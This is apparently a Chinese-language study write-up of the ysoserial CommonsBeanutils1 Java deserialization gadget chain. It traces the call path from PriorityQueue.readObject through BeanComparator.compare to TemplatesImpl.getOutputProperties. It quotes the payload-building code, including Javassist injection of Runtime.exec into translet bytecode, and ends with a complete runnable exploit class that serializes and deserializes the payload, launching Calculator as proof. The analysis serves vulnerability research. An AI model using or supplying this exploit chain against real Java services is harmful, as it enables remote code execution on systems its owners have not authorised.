CommonsBeanutils1
针对组件
"commons-beanutils:commons-beanutils:1.9.2",
"commons-collections:commons-collections:3.1",
"commons-logging:commons-logging:1.2"
主要还是commons-beanutils
commons-beanutils是Apache Commons项目中的一个子项目,提供了一组操作Java Bean对象的工具类。它包含了一些常用的Bean操作方法,如复制、填充、转换等,可以简化开发人员对Java Bean对象进行操作的流程,提高开发效率。
java Bean
Java Bean是一种符合Java语言规范的特定类,常用于表示具有属性、getter和setter方法的对象。
属性必须使用private修饰:属性必须使用private修饰,以保证其访问权限仅限于该类内部。
为每个属性提供getter和setter方法:getter方法用于获取属性值,setter方法用于设置属性值。
CommonsBeanutils1源码
根据以下代码大致可以把CommonsBeanutils1的关键分为三个部分:
createTemplatesImpl、BeanComparator、PriorityQueue
package ysoserial.payloads;
import java.math.BigInteger;
import java.util.PriorityQueue;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
@Authors({"frohoff"})
public class CommonsBeanutils1 implements ObjectPayload<Object> {
public CommonsBeanutils1() {
}
public Object getObject(String command) throws Exception {
Object templates = Gadgets.createTemplatesImpl(command);
BeanComparator comparator = new BeanComparator("lowestSetBit");
PriorityQueue<Object> queue = new PriorityQueue(2, comparator);
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
Reflections.setFieldValue(comparator, "property", "outputProperties");
Object[] queueArray = (Object[])((Object[])Reflections.getFieldValue(queue, "queue"));
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
public static void main(String[] args) throws Exception {
PayloadRunner.run(CommonsBeanutils1.class, args);
}
}
createTemplatesImpl
public static Object createTemplatesImpl(String command) throws Exception {
return Boolean.parseBoolean(System.getProperty("properXalan", "false")) ? createTemplatesImpl(command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")) : createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
public static <T> T createTemplatesImpl(String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception {
T templates = tplClass.newInstance();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
CtClass clazz = pool.get(StubTransletPayload.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replace("\\", "\\\\").replace("\"", "\\\"") + "\");";
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
byte[] classBytes = clazz.toBytecode();
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, ClassFiles.classAsBytes(Foo.class)});
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
createTemplatesImpl位于ysoserial.payloads.util.Gadgets。他的根据代码看它的作用大概就是利用JAVAssist来创建不同的类。
JAVAssist( JAVA Programming ASSISTant ) 是一个开源的分析 , 编辑 , 创建 Java字节码( Class )的类库 . 他允许开发者自由的在一个已经编译好的类中添加新的方法,或者是修改已有的方法。我可以利用JAVAssist在代码中动态的修改一个class类文件。
根据Objecttemplates=Gadgets.createTemplatesImpl(command);
我们会进入第一个 createTemplatesImpl然后调用第二个createTemplatesImpl其中参数如下:
tplClass: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
abstTranslet: com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
transFactory: com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl
1、T templates=tplClass.newInstance();
通过newInstance实例化了一个com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的对象
2、ClassPoolpool=ClassPool.getDefault();
创建一个类池,默认情况下,池子里包含了系统类路径上的所有类。
3、pool.insertClassPath(newClassClassPath(StubTransletPayload.class));
用于向类路径中添加一个新的类或包。
4、CtClassclazz=pool.get(StubTransletPayload.class.getName());
获得一个可以操作StubTransletPayload类的对象clazz ,CtClass( compile-time class , 编译时类信息 ) 是一个 Class 文件在代码中的抽象表现形式 , 用于处理类文件 .在pool.get获取过对象类之后,就可以对字节码进行操作。
5、clazz.makeClassInitializer().insertAfter(cmd);
在clazz 指向的字节码也就是读入到内存的StubTransletPayload类新增一个静态代码块,把前面的cmd恶意代码插入。
6、clazz.setName("ysoserial.Pwner"+System.nanoTime());
setName修改类名称
7、clazz.setSuperclass(superC);
把读入的abstTranslet类设置成clazz的父类。
8、Reflections.setFieldValue
这个方法用于设置类的属性,在上面的代码中 比较重要的时_bytecodes属性,被写入了携带cmd的字节码
9、最后返回做好的类templates
BeanComparator
首先根据BeanComparatorcomparator=newBeanComparator("lowestSetBit");
可以看出,这个漏洞的触发类应该是位于org.apache.commons.beanutils.BeanComparator
类。根据介绍和网上的文章可以定位到触发方法compare。
org.apache.commons.beanutils.BeanComparator是Apache Commons BeanUtils库中的一个类,用于比较JavaBean对象。它实现了Java的java.util.Comparator接口,并提供了一些额外的功能,使得比较JavaBean对象变得更加简单。
确定位置之后直接写个测试类进行动态调试看看具体的调用流程。
final public class Cat {
public Cat(){}
public String name = "cat";
public void setName(String name) {this.name = name;}
public String getName() throws IOException {return name;}
}
public class test {
public static void main(String[] args) throws Exception {
Cat c=new Cat();
List<Cat> list = new ArrayList<>();
list.add(c);
list.add(c);
BeanComparator<Cat> comparator1 = new BeanComparator<>("name");
Collections.sort(list, comparator1); // 断点
}
}
进入sort方法会直接进入compare方法
public int compare(T o1, T o2) {
if (this.property == null) {
return this.internalCompare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.internalCompare(value1, value2);
} catch (IllegalAccessException var5) {
throw new RuntimeException("IllegalAccessException: " + var5.toString());
} catch (InvocationTargetException var6) {
throw new RuntimeException("InvocationTargetException: " + var6.toString());
} catch (NoSuchMethodException var7) {
throw new RuntimeException("NoSuchMethodException: " + var7.toString());
}
}
}
一直步入进入getProperty
getProperty()是PropertyUtils类中一个非常常用的方法,用于获取指定Java Bean对象中指定属性的值。该方法有两个参数:
bean:需要获取属性值的Java Bean对象。
name:要获取的属性名。
继续进入getNestedProperty
进入到getNestedProperty,在其中经过一系列判断进入了getSimpleProperty
在getSimpleProperty中,也是经过一系列if然后执行了下面这个。
PropertyDescriptor descriptor = this.getPropertyDescriptor(bean, name);
/*
PropertyDescriptor类是Java内置的一种用于描述Java Bean属性的类,它可以用来获取和操作Bean属性的元数据信息(如属性名、getter和setter方法等)。
getPropertyDescriptor()是一个公共静态方法,定义在java.beans.Introspector类中。该方法用于获取指定Bean类中所包含的某个属性的PropertyDescriptor对象。
*/
拿到descriptor之后就执行下面这行,是为了寻找找Cat类的getter,也就是getName。
Method readMethod = this.getReadMethod(bean.getClass(), descriptor);
继续向下就到了Objectvalue=this.invokeMethod(readMethod,bean,EMPTY_OBJECT_ARRAY);
,此时我们已经拿到了Cat的属性name,和获取name属性的方法getName。根据invokeMethod这个方法名字大概也猜到了,它应该是去调用readMethod对应的方法来获取name属性。进入invokeMethod之后一路跑到returnmethod.invoke(bean,values);
继续步入invoke居然跳到了Cat类
看了下调用,发现在进入Cat之前还路过了几个方法,method调用的invoke是java.lang.reflect包下的官方自带的方法。也就是说到最后回去调用getter方法来获得对应的属性。
根据前面的调用流程分析,PropertyUtils.getProperty最后还是调用Java Bean对象本身的getter方法来获取属性值,如果getter方法中含有恶意代码,那么在执行org.apache.commons.beanutils.BeanComparator#compare时也会被执行。
修改Cat的getName方法:
PriorityQueue
PriorityQueue位于java.util,不仅实现了java序列化接口Serializable,还重写了readObject方法,在反序列化时会运行readObject
在PriorityQueue#readObject方法中,最后调用了heapify()
在heapify中又调用了siftDown
然后再siftDown调用了非常眼熟的方法
继续跟进之后不出所料的调用了compare
总结
回到CommonsBeanutils1的main方法中PayloadRunner.run(CommonsBeanutils1.class,args);
public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
byte[] serialized = (byte[])(new ExecCheckingSecurityManager()).callWrapped(new Callable<byte[]>() {
public byte[] call() throws Exception {
String command = args.length > 0 && args[0] != null ? args[0] : PayloadRunner.getDefaultTestCmd();
System.out.println("generating payload object(s) for command: '" + command + "'");
ObjectPayload<?> payload = (ObjectPayload)clazz.newInstance();
Object objBefore = payload.getObject(command);
System.out.println("serializing payload");
byte[] ser = Serializer.serialize(objBefore);
Utils.releasePayload(payload, objBefore);
return ser;
}
});
try {
System.out.println("deserializing payload");
Object var3 = Deserializer.deserialize(serialized);
} catch (Exception var4) {
var4.printStackTrace();
}
}
再ObjectobjBefore=payload.getObject(command);
返回的objBefore是一个封装好的PriorityQueuequeue。objBefore就是最后的payload并且objBefore最后被序列化了。
从objBefore的反序列化开始一步步往回推,由前面说到的PriorityQueue反序列化时会发生以下调用情况:
readObject()-->heapify()-->siftDown()-->BeanComparator.compare()
进入到BeanComparator之后会按照之前说的进入getProperty()
去获取属性,由于在CommonsBeanutils1.getObject方法中有一步替换属性名的操作Reflections.setFieldValue(comparator,"property","outputProperties");
property被替换成outputProperties,根据java Bean的特性调用了getOutputProperties()
getOutputProperties()
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
首先会进入returnnewTransformer()
的getTransletInstance()
在getTransletInstance()
会进入defineTransletClasses()
中,写在_bytecodes的字节码被加载回来达到rce效果
EXP参考:
来源:(https://github.com/BabyTeam1024/ysoserial_analyse/blob/main/CButils1.java)
package test1;
import com.nqzero.permit.Permit;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import ysoserial.payloads.util.Reflections;
import java.io.*;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.util.PriorityQueue;
public class CButils1 {
public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object unserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = null;
Class clazz = obj.getClass();
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = clazz.getSuperclass().getDeclaredField(fieldName);
}
field.set(obj, value);
}
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}
@Override
public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
}
public static Object createTemplatesImpl(String command) throws Exception{
Object templates = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
((CtClass) clazz).makeClassInitializer().insertAfter(cmd);
clazz.setName("ysoserial.Pwner" + System.nanoTime());
final byte[] classBytes = clazz.toBytecode();
setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes});
// required to make TemplatesImpl happy
setFieldValue(templates, "_name", "Pwnr");
setFieldValue(templates, "_tfactory", Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
return templates;
}
public static void main(String[] args) throws Exception {
final Object templates = createTemplatesImpl("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
// mock method name until armed
// create queue with numbers and basic comparator
final BeanComparator comparator = new BeanComparator("lowestSetBit");
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator
setFieldValue(comparator, "property", "outputProperties");
// switch contents of queue
final Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
// return queue;
byte[] serializeData=serialize(queue);
unserialize(serializeData);
}
}